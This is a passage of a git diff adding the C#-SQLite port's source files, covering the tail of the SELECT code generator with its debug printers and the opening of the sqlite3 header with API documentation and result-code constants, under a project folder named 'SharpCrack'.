Debug.Assert( !ExprHasProperty( p.pEList.a[0].pExpr, EP_xIsSelect ) ); + pMinMax = sqlite3ExprListDup( db, p.pEList.a[0].pExpr.x.pList, 0 ); + pDel = pMinMax; + if ( pMinMax != null )///* && 0 == db.mallocFailed */ ) + { + pMinMax.a[0].sortOrder = (u8)( flag != WHERE_ORDERBY_MIN ? 1 : 0 ); + pMinMax.a[0].pExpr.op = TK_COLUMN; + } + } + + /* This case runs if the aggregate has no GROUP BY clause. The + ** processing is much simpler since there is only a single row + ** of output. + */ + resetAccumulator( pParse, sAggInfo ); + pWInfo = sqlite3WhereBegin( pParse, pTabList, pWhere, ref pMinMax, (byte)flag ); + if ( pWInfo == null ) + { + sqlite3ExprListDelete( db, ref pDel ); + goto select_end; + } + updateAccumulator( pParse, sAggInfo ); + if ( pMinMax == null && flag != 0 ) + { + sqlite3VdbeAddOp2( v, OP_Goto, 0, pWInfo.iBreak ); +#if SQLITE_DEBUG + VdbeComment( v, "%s() by index", + ( flag == WHERE_ORDERBY_MIN ? "min" : "max" ) ); +#endif + } + sqlite3WhereEnd( pWInfo ); + finalizeAggFunctions( pParse, sAggInfo ); + } + + pOrderBy = null; + sqlite3ExprIfFalse( pParse, pHaving, addrEnd, SQLITE_JUMPIFNULL ); + selectInnerLoop( pParse, p, p.pEList, 0, 0, null, -1, + pDest, addrEnd, addrEnd ); + + sqlite3ExprListDelete( db, ref pDel ); + } + sqlite3VdbeResolveLabel( v, addrEnd ); + + } /* endif aggregate query */ + + if ( distinct >= 0 ) + { + explainTempTable( pParse, "DISTINCT" ); + } + + /* If there is an ORDER BY clause, then we need to sort the results + ** and send them to the callback one by one. + */ + if ( pOrderBy != null ) + { + explainTempTable( pParse, "ORDER BY" ); + generateSortTail( pParse, p, v, pEList.nExpr, pDest ); + } + + /* Jump here to skip this query + */ + sqlite3VdbeResolveLabel( v, iEnd ); + + /* The SELECT was successfully coded. Set the return code to 0 + ** to indicate no errors. + */ + rc = 0; + + /* Control jumps to here if an error is encountered above, or upon + ** successful coding of the SELECT. + */ +select_end: + explainSetInteger( ref pParse.iSelectId, iRestoreSelectId ); + + /* Identify column names if results of the SELECT are to be output. + */ + if ( rc == SQLITE_OK && pDest.eDest == SRT_Output ) + { + generateColumnNames( pParse, pTabList, pEList ); + } + + sqlite3DbFree( db, ref sAggInfo.aCol ); + sqlite3DbFree( db, ref sAggInfo.aFunc ); + return rc; + } + +#if SQLITE_DEBUG + /* +******************************************************************************* +** The following code is used for testing and debugging only. The code +** that follows does not appear in normal builds. +** +** These routines are used to print out the content of all or part of a +** parse structures such as Select or Expr. Such printouts are useful +** for helping to understand what is happening inside the code generator +** during the execution of complex SELECT statements. +** +** These routine are not called anywhere from within the normal +** code base. Then are intended to be called from within the debugger +** or from temporary "printf" statements inserted for debugging. +*/ + void sqlite3PrintExpr( Expr p ) + { + if ( !ExprHasProperty( p, EP_IntValue ) && p.u.zToken != null ) + { + sqlite3DebugPrintf( "(%s", p.u.zToken ); + } + else + { + sqlite3DebugPrintf( "(%d", p.op ); + } + if ( p.pLeft != null ) + { + sqlite3DebugPrintf( " " ); + sqlite3PrintExpr( p.pLeft ); + } + if ( p.pRight != null ) + { + sqlite3DebugPrintf( " " ); + sqlite3PrintExpr( p.pRight ); + } + sqlite3DebugPrintf( ")" ); + } + void sqlite3PrintExprList( ExprList pList ) + { + int i; + for ( i = 0; i < pList.nExpr; i++ ) + { + sqlite3PrintExpr( pList.a[i].pExpr ); + if ( i < pList.nExpr - 1 ) + { + sqlite3DebugPrintf( ", " ); + } + } + } + void sqlite3PrintSelect( Select p, int indent ) + { + sqlite3DebugPrintf( "%*sSELECT(%p) ", indent, "", p ); + sqlite3PrintExprList( p.pEList ); + sqlite3DebugPrintf( "\n" ); + if ( p.pSrc != null ) + { + string zPrefix; + int i; + zPrefix = "FROM"; + for ( i = 0; i < p.pSrc.nSrc; i++ ) + { + SrcList_item pItem = p.pSrc.a[i]; + sqlite3DebugPrintf( "%*s ", indent + 6, zPrefix ); + zPrefix = ""; + if ( pItem.pSelect != null ) + { + sqlite3DebugPrintf( "(\n" ); + sqlite3PrintSelect( pItem.pSelect, indent + 10 ); + sqlite3DebugPrintf( "%*s)", indent + 8, "" ); + } + else if ( pItem.zName != null ) + { + sqlite3DebugPrintf( "%s", pItem.zName ); + } + if ( pItem.pTab != null ) + { + sqlite3DebugPrintf( "(vtable: %s)", pItem.pTab.zName ); + } + if ( pItem.zAlias != null ) + { + sqlite3DebugPrintf( " AS %s", pItem.zAlias ); + } + if ( i < p.pSrc.nSrc - 1 ) + { + sqlite3DebugPrintf( "," ); + } + sqlite3DebugPrintf( "\n" ); + } + } + if ( p.pWhere != null ) + { + sqlite3DebugPrintf( "%*s WHERE ", indent, "" ); + sqlite3PrintExpr( p.pWhere ); + sqlite3DebugPrintf( "\n" ); + } + if ( p.pGroupBy != null ) + { + sqlite3DebugPrintf( "%*s GROUP BY ", indent, "" ); + sqlite3PrintExprList( p.pGroupBy ); + sqlite3DebugPrintf( "\n" ); + } + if ( p.pHaving != null ) + { + sqlite3DebugPrintf( "%*s HAVING ", indent, "" ); + sqlite3PrintExpr( p.pHaving ); + sqlite3DebugPrintf( "\n" ); + } + if ( p.pOrderBy != null ) + { + sqlite3DebugPrintf( "%*s ORDER BY ", indent, "" ); + sqlite3PrintExprList( p.pOrderBy ); + sqlite3DebugPrintf( "\n" ); + } + } + /* End of the structure debug printing code + *****************************************************************************/ +#endif // * defined(SQLITE_TEST) || defined(SQLITE_DEBUG) */ + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/sqlite3_h.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/sqlite3_h.cs new file mode 100644 index 0000000..9b775c1 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/sqlite3_h.cs @@ -0,0 +1,7485 @@ +using u8 = System.Byte; +using System.Diagnostics; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This header file defines the interface that the SQLite library + ** presents to client programs. If a C-function, structure, datatype, + ** or constant definition does not appear in this file, then it is + ** not a published API of SQLite, is subject to change without + ** notice, and should not be referenced by programs that use SQLite. + ** + ** Some of the definitions that are in this file are marked as + ** "experimental". Experimental interfaces are normally new + ** features recently added to SQLite. We do not anticipate changes + ** to experimental interfaces but reserve the right to make minor changes + ** if experience from use "in the wild" suggest such changes are prudent. + ** + ** The official C-language API documentation for SQLite is derived + ** from comments in this file. This file is the authoritative source + ** on how SQLite interfaces are suppose to operate. + ** + ** The name of this file under configuration management is "sqlite.h.in". + ** The makefile makes some minor changes to this file (such as inserting + ** the version number) and changes its name to "sqlite3.h" as + ** part of the build process. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 + ** + ************************************************************************* + */ + //#if !_SQLITE3_H_ + //#define _SQLITE3_H_ + //#include /* Needed for the definition of va_list */ + + /* + ** Make sure we can call this stuff from C++. + */ + //#if __cplusplus + //extern "C" { + //#endif + + + /* + ** Add the ability to override 'extern' + */ + //#if !SQLITE_EXTERN + //# define SQLITE_EXTERN extern + //#endif + + //#if !SQLITE_API + //# define SQLITE_API + //#endif + + + /* + ** These no-op macros are used in front of interfaces to mark those + ** interfaces as either deprecated or experimental. New applications + ** should not use deprecated interfaces - they are support for backwards + ** compatibility only. Application writers should be aware that + ** experimental interfaces are subject to change in point releases. + ** + ** These macros used to resolve to various kinds of compiler magic that + ** would generate warning messages when they were used. But that + ** compiler magic ended up generating such a flurry of bug reports + ** that we have taken it all out and gone back to using simple + ** noop macros. + */ + //#define SQLITE_DEPRECATED + //#define SQLITE_EXPERIMENTAL + + /* + ** Ensure these symbols were not defined by some previous header file. + */ + //#if SQLITE_VERSION + //# undef SQLITE_VERSION + //#endif + //#if SQLITE_VERSION_NUMBER + //# undef SQLITE_VERSION_NUMBER + //#endif + + /* + ** CAPI3REF: Compile-Time Library Version Numbers + ** + ** ^(The [SQLITE_VERSION] C preprocessor macro in the sqlite3.h header + ** evaluates to a string literal that is the SQLite version in the + ** format "X.Y.Z" where X is the major version number (always 3 for + ** SQLite3) and Y is the minor version number and Z is the release number.)^ + ** ^(The [SQLITE_VERSION_NUMBER] C preprocessor macro resolves to an integer + ** with the value (X*1000000 + Y*1000 + Z) where X, Y, and Z are the same + ** numbers used in [SQLITE_VERSION].)^ + ** The SQLITE_VERSION_NUMBER for any given release of SQLite will also + ** be larger than the release from which it is derived. Either Y will + ** be held constant and Z will be incremented or else Y will be incremented + ** and Z will be reset to zero. + ** + ** Since version 3.6.18, SQLite source code has been stored in the + ** Fossil configuration management + ** system. ^The SQLITE_SOURCE_ID macro evaluates to + ** a string which identifies a particular check-in of SQLite + ** within its configuration management system. ^The SQLITE_SOURCE_ID + ** string contains the date and time of the check-in (UTC) and an SHA1 + ** hash of the entire source tree. + ** + ** See also: [sqlite3_libversion()], + ** [sqlite3_libversion_number()], [sqlite3_sourceid()], + ** [sqlite_version()] and [sqlite_source_id()]. + */ + //#define SQLITE_VERSION "3.7.7" + //#define SQLITE_VERSION_NUMBER 3007007 + //#define SQLITE_SOURCE_ID "2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2" + const string SQLITE_VERSION = "3.7.7(C#)"; + const int SQLITE_VERSION_NUMBER = 300700701; + const string SQLITE_SOURCE_ID = "Ported to C# from 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2"; + + /* + ** CAPI3REF: Run-Time Library Version Numbers + ** KEYWORDS: sqlite3_version, sqlite3_sourceid + ** + ** These interfaces provide the same information as the [SQLITE_VERSION], + ** [SQLITE_VERSION_NUMBER], and [SQLITE_SOURCE_ID] C preprocessor macros + ** but are associated with the library instead of the header file. ^(Cautious + ** programmers might include Debug.Assert() statements in their application to + ** verify that values returned by these interfaces match the macros in + ** the header, and thus insure that the application is + ** compiled with matching library and header files. + ** + **
+    ** Debug.Assert( sqlite3_libversion_number()==SQLITE_VERSION_NUMBER );
+    ** Debug.Assert( strcmp(sqlite3_sourceid(),SQLITE_SOURCE_ID)==0 );
+    ** Debug.Assert( strcmp(sqlite3_libversion(),SQLITE_VERSION)==0 );
+    ** 
)^ + ** + ** ^The sqlite3_version[] string constant contains the text of [SQLITE_VERSION] + ** macro. ^The sqlite3_libversion() function returns a pointer to the + ** to the sqlite3_version[] string constant. The sqlite3_libversion() + ** function is provided for use in DLLs since DLL users usually do not have + ** direct access to string constants within the DLL. ^The + ** sqlite3_libversion_number() function returns an integer equal to + ** [SQLITE_VERSION_NUMBER]. ^The sqlite3_sourceid() function returns + ** a pointer to a string constant whose value is the same as the + ** [SQLITE_SOURCE_ID] C preprocessor macro. + ** + ** See also: [sqlite_version()] and [sqlite_source_id()]. + */ + //SQLITE_API SQLITE_EXTERN const char sqlite3_version[]; + //SQLITE_API string sqlite3_libversion(void); + //SQLITE_API string sqlite3_sourceid(void); + //SQLITE_API int sqlite3_libversion_number(void); + + /* + ** CAPI3REF: Run-Time Library Compilation Options Diagnostics + ** + ** ^The sqlite3_compileoption_used() function returns 0 or 1 + ** indicating whether the specified option was defined at + ** compile time. ^The SQLITE_ prefix may be omitted from the + ** option name passed to sqlite3_compileoption_used(). + ** + ** ^The sqlite3_compileoption_get() function allows iterating + ** over the list of options that were defined at compile time by + ** returning the N-th compile time option string. ^If N is out of range, + ** sqlite3_compileoption_get() returns a NULL pointer. ^The SQLITE_ + ** prefix is omitted from any strings returned by + ** sqlite3_compileoption_get(). + ** + ** ^Support for the diagnostic functions sqlite3_compileoption_used() + ** and sqlite3_compileoption_get() may be omitted by specifying the + ** [SQLITE_OMIT_COMPILEOPTION_DIAGS] option at compile time. + ** + ** See also: SQL functions [sqlite_compileoption_used()] and + ** [sqlite_compileoption_get()] and the [compile_options pragma]. + */ + //#if !SQLITE_OMIT_COMPILEOPTION_DIAGS + //SQLITE_API int sqlite3_compileoption_used(string zOptName); + //SQLITE_API string sqlite3_compileoption_get(int N); + //#endif + + /* + ** CAPI3REF: Test To See If The Library Is Threadsafe + ** + ** ^The sqlite3_threadsafe() function returns zero if and only if + ** SQLite was compiled mutexing code omitted due to the + ** [SQLITE_THREADSAFE] compile-time option being set to 0. + ** + ** SQLite can be compiled with or without mutexes. When + ** the [SQLITE_THREADSAFE] C preprocessor macro is 1 or 2, mutexes + ** are enabled and SQLite is threadsafe. When the + ** [SQLITE_THREADSAFE] macro is 0, + ** the mutexes are omitted. Without the mutexes, it is not safe + ** to use SQLite concurrently from more than one thread. + ** + ** Enabling mutexes incurs a measurable performance penalty. + ** So if speed is of utmost importance, it makes sense to disable + ** the mutexes. But for maximum safety, mutexes should be enabled. + ** ^The default behavior is for mutexes to be enabled. + ** + ** This interface can be used by an application to make sure that the + ** version of SQLite that it is linking against was compiled with + ** the desired setting of the [SQLITE_THREADSAFE] macro. + ** + ** This interface only reports on the compile-time mutex setting + ** of the [SQLITE_THREADSAFE] flag. If SQLite is compiled with + ** SQLITE_THREADSAFE=1 or =2 then mutexes are enabled by default but + ** can be fully or partially disabled using a call to [sqlite3_config()] + ** with the verbs [SQLITE_CONFIG_SINGLETHREAD], [SQLITE_CONFIG_MULTITHREAD], + ** or [SQLITE_CONFIG_MUTEX]. ^(The return value of the + ** sqlite3_threadsafe() function shows only the compile-time setting of + ** thread safety, not any run-time changes to that setting made by + ** sqlite3_config(). In other words, the return value from sqlite3_threadsafe() + ** is unchanged by calls to sqlite3_config().)^ + ** + ** See the [threading mode] documentation for additional information. + */ + //SQLITE_API int sqlite3_threadsafe(void); + + /* + ** CAPI3REF: Database Connection Handle + ** KEYWORDS: {database connection} {database connections} + ** + ** Each open SQLite database is represented by a pointer to an instance of + ** the opaque structure named "sqlite3". It is useful to think of an sqlite3 + ** pointer as an object. The [sqlite3_open()], [sqlite3_open16()], and + ** [sqlite3_open_v2()] interfaces are its constructors, and [sqlite3_close()] + ** is its destructor. There are many other interfaces (such as + ** [sqlite3_prepare_v2()], [sqlite3_create_function()], and + ** [sqlite3_busy_timeout()] to name but three) that are methods on an + ** sqlite3 object. + */ + //typedef struct sqlite3 sqlite3; + + /* + ** CAPI3REF: 64-Bit Integer Types + ** KEYWORDS: sqlite_int64 sqlite_uint64 + ** + ** Because there is no cross-platform way to specify 64-bit integer types + ** SQLite includes typedefs for 64-bit signed and unsigned integers. + ** + ** The sqlite3_int64 and sqlite3_uint64 are the preferred type definitions. + ** The sqlite_int64 and sqlite_uint64 types are supported for backwards + ** compatibility only. + ** + ** ^The sqlite3_int64 and sqlite_int64 types can store integer values + ** between -9223372036854775808 and +9223372036854775807 inclusive. ^The + ** sqlite3_uint64 and sqlite_uint64 types can store integer values + ** between 0 and +18446744073709551615 inclusive. + */ + //#if SQLITE_INT64_TYPE + // typedef SQLITE_INT64_TYPE sqlite_int64; + // typedef unsigned SQLITE_INT64_TYPE sqlite_uint64; + //#elif defined(_MSC_VER) || defined(__BORLANDC__) + // typedef __int64 sqlite_int64; + // typedef unsigned __int64 sqlite_uint64; + //#else + // typedef long long int sqlite_int64; + // typedef unsigned long long int sqlite_uint64; + //#endif + //typedef sqlite_int64 sqlite3_int64; + //typedef sqlite_uint64 sqlite3_uint64; + + /* + ** If compiling for a processor that lacks floating point support, + ** substitute integer for floating-point. + */ + //#if SQLITE_OMIT_FLOATING_POINT + //# define double sqlite3_int64 + //#endif + + /* + ** CAPI3REF: Closing A Database Connection + ** + ** ^The sqlite3_close() routine is the destructor for the [sqlite3] object. + ** ^Calls to sqlite3_close() return SQLITE_OK if the [sqlite3] object is + ** successfully destroyed and all associated resources are deallocated. + ** + ** Applications must [sqlite3_finalize | finalize] all [prepared statements] + ** and [sqlite3_blob_close | close] all [BLOB handles] associated with + ** the [sqlite3] object prior to attempting to close the object. ^If + ** sqlite3_close() is called on a [database connection] that still has + ** outstanding [prepared statements] or [BLOB handles], then it returns + ** SQLITE_BUSY. + ** + ** ^If [sqlite3_close()] is invoked while a transaction is open, + ** the transaction is automatically rolled back. + ** + ** The C parameter to [sqlite3_close(C)] must be either a NULL + ** pointer or an [sqlite3] object pointer obtained + ** from [sqlite3_open()], [sqlite3_open16()], or + ** [sqlite3_open_v2()], and not previously closed. + ** ^Calling sqlite3_close() with a NULL pointer argument is a + ** harmless no-op. + */ + //SQLITE_API int sqlite3_close(sqlite3 ); + + /* + ** The type for a callback function. + ** This is legacy and deprecated. It is included for historical + ** compatibility and is not documented. + */ + //typedef int (*sqlite3_callback)(void*,int,char**, char*); + + /* + ** CAPI3REF: One-Step Query Execution Interface + ** + ** The sqlite3_exec() interface is a convenience wrapper around + ** [sqlite3_prepare_v2()], [sqlite3_step()], and [sqlite3_finalize()], + ** that allows an application to run multiple statements of SQL + ** without having to use a lot of C code. + ** + ** ^The sqlite3_exec() interface runs zero or more UTF-8 encoded, + ** semicolon-separate SQL statements passed into its 2nd argument, + ** in the context of the [database connection] passed in as its 1st + ** argument. ^If the callback function of the 3rd argument to + ** sqlite3_exec() is not NULL, then it is invoked for each result row + ** coming out of the evaluated SQL statements. ^The 4th argument to + ** sqlite3_exec() is relayed through to the 1st argument of each + ** callback invocation. ^If the callback pointer to sqlite3_exec() + ** is NULL, then no callback is ever invoked and result rows are + ** ignored. + ** + ** ^If an error occurs while evaluating the SQL statements passed into + ** sqlite3_exec(), then execution of the current statement stops and + ** subsequent statements are skipped. ^If the 5th parameter to sqlite3_exec() + ** is not NULL then any error message is written into memory obtained + ** from [sqlite3_malloc()] and passed back through the 5th parameter. + ** To avoid memory leaks, the application should invoke [sqlite3_free()] + ** on error message strings returned through the 5th parameter of + ** of sqlite3_exec() after the error message string is no longer needed. + ** ^If the 5th parameter to sqlite3_exec() is not NULL and no errors + ** occur, then sqlite3_exec() sets the pointer in its 5th parameter to + ** NULL before returning. + ** + ** ^If an sqlite3_exec() callback returns non-zero, the sqlite3_exec() + ** routine returns SQLITE_ABORT without invoking the callback again and + ** without running any subsequent SQL statements. + ** + ** ^The 2nd argument to the sqlite3_exec() callback function is the + ** number of columns in the result. ^The 3rd argument to the sqlite3_exec() + ** callback is an array of pointers to strings obtained as if from + ** [sqlite3_column_text()], one for each column. ^If an element of a + ** result row is NULL then the corresponding string pointer for the + ** sqlite3_exec() callback is a NULL pointer. ^The 4th argument to the + ** sqlite3_exec() callback is an array of pointers to strings where each + ** entry represents the name of corresponding result column as obtained + ** from [sqlite3_column_name()]. + ** + ** ^If the 2nd parameter to sqlite3_exec() is a NULL pointer, a pointer + ** to an empty string, or a pointer that contains only whitespace and/or + ** SQL comments, then no SQL statements are evaluated and the database + ** is not changed. + ** + ** Restrictions: + ** + **
    + **
  • The application must insure that the 1st parameter to sqlite3_exec() + ** is a valid and open [database connection]. + **
  • The application must not close [database connection] specified by + ** the 1st parameter to sqlite3_exec() while sqlite3_exec() is running. + **
  • The application must not modify the SQL statement text passed into + ** the 2nd parameter of sqlite3_exec() while sqlite3_exec() is running. + **
+ */ + //SQLITE_API int sqlite3_exec( + // sqlite3*, /* An open database */ + // string sql, /* SQL to be evaluated */ + // int (*callback)(void*,int,char**,char*), /* Callback function */ + // void *, /* 1st argument to callback */ + // char **errmsg /* Error msg written here */ + //); + + /* + ** CAPI3REF: Result Codes + ** KEYWORDS: SQLITE_OK {error code} {error codes} + ** KEYWORDS: {result code} {result codes} + ** + ** Many SQLite functions return an integer result code from the set shown + ** here in order to indicates success or failure. + ** + ** New error codes may be added in future versions of SQLite. + ** + ** See also: [SQLITE_IOERR_READ | extended result codes], + ** [sqlite3_vtab_on_conflict()] [SQLITE_ROLLBACK | result codes]. + */ + //#define SQLITE_OK 0 /* Successful result */ + ///* beginning-of-error-codes */ + //#define SQLITE_ERROR 1 /* SQL error or missing database */ + //#define SQLITE_INTERNAL 2 /* Internal logic error in SQLite */ + //#define SQLITE_PERM 3 /* Access permission denied */ + //#define SQLITE_ABORT 4 /* Callback routine requested an abort */ + //#define SQLITE_BUSY 5 /* The database file is locked */ + //#define SQLITE_LOCKED 6 /* A table in the database is locked */ + //#define SQLITE_NOMEM 7 /* A malloc() failed */ + //#define SQLITE_READONLY 8 /* Attempt to write a readonly database */ + //#define SQLITE_INTERRUPT 9 /* Operation terminated by sqlite3_interrupt()*/ + //#define SQLITE_IOERR 10 /* Some kind of disk I/O error occurred */ + //#define SQLITE_CORRUPT 11 /* The database disk image is malformed */ + //#define SQLITE_NOTFOUND 12 /* Unknown opcode in sqlite3_file_control() */ + //#define SQLITE_FULL 13 /* Insertion failed because database is full */ + //#define SQLITE_CANTOPEN 14 /* Unable to open the database file */ + //#define SQLITE_PROTOCOL 15 /* Database lock protocol error */ + //#define SQLITE_EMPTY 16 /* Database is empty */ + //#define SQLITE_SCHEMA 17 /* The database schema changed */ + //#define SQLITE_TOOBIG 18 /* String or BLOB exceeds size limit */ + //#define SQLITE_CONSTRAINT 19 /* Abort due to constraint violation */ + //#define SQLITE_MISMATCH 20 /* Data type mismatch */ + //#define SQLITE_MISUSE 21 /* Library used incorrectly */ + //#define SQLITE_NOLFS 22 /* Uses OS features not supported on host */ + //#define SQLITE_AUTH 23 /* Authorization denied */ + //#define SQLITE_FORMAT 24 /* Auxiliary database format error */ + //#define SQLITE_RANGE 25 /* 2nd parameter to sqlite3_bind out of range */ + //#define SQLITE_NOTADB 26 /* File opened that is not a database file */ + //#define SQLITE_ROW 100 /* sqlite3_step() has another row ready */ + //#define SQLITE_DONE 101 /* sqlite3_step() has finished executing */ + /* end-of-error-codes */ + public const int SQLITE_OK = 0; + public const int SQLITE_ERROR = 1; + public const int SQLITE_INTERNAL = 2; + public const int SQLITE_PERM = 3; + public const int SQLITE_ABORT = 4; + public const int SQLITE_BUSY = 5; + public const int SQLITE_LOCKED = 6; + public const int SQLITE_NOMEM = 7; + public const int SQLITE_READONLY = 8; + public const int SQLITE_INTERRUPT = 9; + public const int SQLITE_IOERR = 10; + public const int SQLITE_CORRUPT = 11; + public const int SQLITE_NOTFOUND = 12; + public const int SQLITE_FULL = 13; + public const int SQLITE_CANTOPEN = 14; + public const int SQLITE_PROTOCOL = 15; + public const int SQLITE_EMPTY = 16; + public const int SQLITE_SCHEMA = 17; + public const int SQLITE_TOOBIG = 18; + public const int SQLITE_CONSTRAINT = 19; + public const int SQLITE_MISMATCH = 20; + public const int SQLITE_MISUSE = 21; + public const int SQLITE_NOLFS = 22; + public const int SQLITE_AUTH = 23; + public const int SQLITE_FORMAT = 24; + public const int SQLITE_RANGE = 25; + public const int SQLITE_NOTADB = 26; + public const int SQLITE_ROW = 100; + public const int SQLITE_DONE = 101; + + /* + ** CAPI3REF: Extended Result Codes + ** KEYWORDS: {extended error code} {extended error codes} + ** KEYWORDS: {extended result code} {extended result codes} + ** + ** In its default configuration, SQLite API routines return one of 26 integer + ** [SQLITE_OK | result codes]. However, experience has shown that many of + ** these result codes are too coarse-grained. They do not provide as + ** much information about problems as programmers might like. In an effort to + ** address this, newer versions of SQLite (version 3.3.8 and later) include + ** support for additional result codes that provide more detailed information + ** about errors. The extended result codes are enabled or disabled + ** on a per database connection basis using the + ** [sqlite3_extended_result_codes()] API. + ** + ** Some of the available extended result codes are listed here. + ** One may expect the number of extended result codes will be expand + ** over time. Software that uses extended result codes should expect + ** to see new result codes in future releases of SQLite. + ** + ** The SQLITE_OK result code will never be extended. It will always + ** be exactly zero. + */ + //#define SQLITE_IOERR_READ (SQLITE_IOERR | (1<<8)) + //#define SQLITE_IOERR_SHORT_READ (SQLITE_IOERR | (2<<8)) + //#define SQLITE_IOERR_WRITE (SQLITE_IOERR | (3<<8)) + //#define SQLITE_IOERR_FSYNC (SQLITE_IOERR | (4<<8)) + //#define SQLITE_IOERR_DIR_FSYNC (SQLITE_IOERR | (5<<8)) + //#define SQLITE_IOERR_TRUNCATE (SQLITE_IOERR | (6<<8)) + //#define SQLITE_IOERR_FSTAT (SQLITE_IOERR | (7<<8)) + //#define SQLITE_IOERR_UNLOCK (SQLITE_IOERR | (8<<8)) + //#define SQLITE_IOERR_RDLOCK (SQLITE_IOERR | (9<<8)) + //#define SQLITE_IOERR_DELETE (SQLITE_IOERR | (10<<8)) + //#define SQLITE_IOERR_BLOCKED (SQLITE_IOERR | (11<<8)) + //#define SQLITE_IOERR_NOMEM (SQLITE_IOERR | (12<<8)) + //#define SQLITE_IOERR_ACCESS (SQLITE_IOERR | (13<<8)) + //#define SQLITE_IOERR_CHECKRESERVEDLOCK (SQLITE_IOERR | (14<<8)) + //#define SQLITE_IOERR_LOCK (SQLITE_IOERR | (15<<8)) + //#define SQLITE_IOERR_CLOSE (SQLITE_IOERR | (16<<8)) + //#define SQLITE_IOERR_DIR_CLOSE (SQLITE_IOERR | (17<<8)) + //#define SQLITE_IOERR_SHMOPEN (SQLITE_IOERR | (18<<8)) + //#define SQLITE_IOERR_SHMSIZE (SQLITE_IOERR | (19<<8)) + //#define SQLITE_IOERR_SHMLOCK (SQLITE_IOERR | (20<<8)) + //#define SQLITE_IOERR_SHMMAP (SQLITE_IOERR | (21<<8)) + //#define SQLITE_IOERR_SEEK (SQLITE_IOERR | (22<<8)) + //#define SQLITE_LOCKED_SHAREDCACHE (SQLITE_LOCKED | (1<<8)) + //#define SQLITE_BUSY_RECOVERY (SQLITE_BUSY | (1<<8)) + //#define SQLITE_CANTOPEN_NOTEMPDIR (SQLITE_CANTOPEN | (1<<8)) + //#define SQLITE_CORRUPT_VTAB (SQLITE_CORRUPT | (1<<8)) + //#define SQLITE_READONLY_RECOVERY (SQLITE_READONLY | (1<<8)) + //#define SQLITE_READONLY_CANTLOCK (SQLITE_READONLY | (2<<8)) + const int SQLITE_IOERR_READ = ( SQLITE_IOERR | ( 1 << 8 ) ); + const int SQLITE_IOERR_SHORT_READ = ( SQLITE_IOERR | ( 2 << 8 ) ); + const int SQLITE_IOERR_WRITE = ( SQLITE_IOERR | ( 3 << 8 ) ); + const int SQLITE_IOERR_FSYNC = ( SQLITE_IOERR | ( 4 << 8 ) ); + const int SQLITE_IOERR_DIR_FSYNC = ( SQLITE_IOERR | ( 5 << 8 ) ); + const int SQLITE_IOERR_TRUNCATE = ( SQLITE_IOERR | ( 6 << 8 ) ); + const int SQLITE_IOERR_FSTAT = ( SQLITE_IOERR | ( 7 << 8 ) ); + const int SQLITE_IOERR_UNLOCK = ( SQLITE_IOERR | ( 8 << 8 ) ); + const int SQLITE_IOERR_RDLOCK = ( SQLITE_IOERR | ( 9 << 8 ) ); + const int SQLITE_IOERR_DELETE = ( SQLITE_IOERR | ( 10 << 8 ) ); + const int SQLITE_IOERR_BLOCKED = ( SQLITE_IOERR | ( 11 << 8 ) ); + const int SQLITE_IOERR_NOMEM = ( SQLITE_IOERR | ( 12 << 8 ) ); + const int SQLITE_IOERR_ACCESS = ( SQLITE_IOERR | ( 13 << 8 ) ); + const int SQLITE_IOERR_CHECKRESERVEDLOCK = ( SQLITE_IOERR | ( 14 << 8 ) ); + const int SQLITE_IOERR_LOCK = ( SQLITE_IOERR | ( 15 << 8 ) ); + const int SQLITE_IOERR_CLOSE = ( SQLITE_IOERR | ( 16 << 8 ) ); + const int SQLITE_IOERR_DIR_CLOSE = ( SQLITE_IOERR | ( 17 << 8 ) ); + const int SQLITE_IOERR_SHMOPEN = ( SQLITE_IOERR | ( 18 << 8 ) ); + const int SQLITE_IOERR_SHMSIZE = ( SQLITE_IOERR | ( 19 << 8 ) ); + const int SQLITE_IOERR_SHMLOCK = ( SQLITE_IOERR | ( 20 << 8 ) ); + const int SQLITE_IOERR_SHMMAP = ( SQLITE_IOERR | ( 21 << 8 ) ); + const int SQLITE_IOERR_SEEK = ( SQLITE_IOERR | ( 22 << 8 ) ); + const int SQLITE_LOCKED_SHAREDCACHE = ( SQLITE_LOCKED | ( 1 << 8 ) ); + const int SQLITE_BUSY_RECOVERY = ( SQLITE_BUSY | ( 1 << 8 ) ); + const int SQLITE_CANTOPEN_NOTEMPDIR = ( SQLITE_CANTOPEN | ( 1 << 8 ) ); + const int SQLITE_CORRUPT_VTAB = ( SQLITE_CORRUPT | ( 1 << 8 ) ); + const int SQLITE_READONLY_RECOVERY = ( SQLITE_READONLY | ( 1 << 8 ) ); + const int SQLITE_READONLY_CANTLOCK = ( SQLITE_READONLY | ( 2 << 8 ) ); + + /* + ** CAPI3REF: Flags For File Open Operations + ** + ** These bit values are intended for use in the + ** 3rd parameter to the [sqlite3_open_v2()] interface and + ** in the 4th parameter to the [sqlite3_vfs.xOpen] method. + */ + //#define SQLITE_OPEN_READONLY 0x00000001 /* Ok for sqlite3_open_v2() */ + //#define SQLITE_OPEN_READWRITE 0x00000002 /* Ok for sqlite3_open_v2() */ + //#define SQLITE_OPEN_CREATE 0x00000004 /* Ok for sqlite3_open_v2() */ + //#define SQLITE_OPEN_DELETEONCLOSE 0x00000008 /* VFS only */ + //#define SQLITE_OPEN_EXCLUSIVE 0x00000010 /* VFS only */ + //#define SQLITE_OPEN_AUTOPROXY 0x00000020 /* VFS only */ + //#define SQLITE_OPEN_URI 0x00000040 /* Ok for sqlite3_open_v2() */ + //#define SQLITE_OPEN_MAIN_DB 0x00000100 /* VFS only */ + //#define SQLITE_OPEN_TEMP_DB 0x00000200 /* VFS only */ + //#define SQLITE_OPEN_TRANSIENT_DB 0x00000400 /* VFS only */ + //#define 